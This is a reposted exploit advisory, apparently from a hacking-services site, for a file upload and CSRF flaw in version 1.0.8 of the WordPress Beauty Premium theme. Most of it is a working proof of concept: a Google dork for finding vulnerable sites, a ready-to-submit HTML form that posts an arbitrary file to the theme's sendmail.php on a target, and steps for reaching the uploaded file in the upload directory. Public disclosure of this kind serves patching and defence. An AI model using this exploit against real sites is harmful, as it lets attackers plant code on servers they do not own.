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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
* Exploit Title: Wordpress Beauty Theme File Upload Vulnerability v1.0.8
* Discovery Date: 02.09.2016
* Public Disclosure Date:03.09.2016
* Vendor Homepage: http://www.yourinspirationweb.com
* Exploit Author: Colette Chamberland (Wordfence)
* Contact: colette@wordfence.com
* Version: 1.0.8 (may affect newer versions but this was all I had)
* Tested on: Wordpress 4.2.x-4.4.x
 
Description
================================================================================
 The Beauty Premium theme contains a contact form that is vulnerable to CSRF
 and File Upload vulnerability in the sendmail.php file. The file attachment
 gets uploaded to the wordpress upload directory and it is not sanitized,
 allowing attackers to upload harmful code. 
 
 
PoC
================================================================================
Google Dork inurl:themes/beauty-premium/ or detect via WPScan:

<form method="post" action="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" enctype="multipart/form-data">
<input type="text" name="yiw_contact[name]" id="name-test" class="required" value="test" />
<input type="text" name="yiw_contact[email]" id="email-test" class="required email-validate" value="test@nowhere.com" />
<input type="text" name="yiw_contact[phone]" id="phone-test" class="" value="1234567890" />
<input type="text" name="yiw_contact[website]" id="website-test" class="" value="http://www.blah.com" />
<textarea name="yiw_contact[message]" id="message-test" rows="8" cols="30" class="required">This is a FUV test&lt;/textarea&gt;
<input type="file" name="yiw_contact[file]" allow="text/*" maxlength="50">
<li class="submit-button">
<input type="hidden" name="yiw_action" value="sendemail" id="yiw_action" />
<input type="hidden" name="yiw_referer" value="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" />
<input type="hidden" name="id_form" value="test" />
<input type="submit" name="yiw_sendemail" value="send message" class="sendmail alignright" />			</li>
</form>

You will receive a 404 error after posting, but navigate to the sites upload directory and access your uploaded file directly.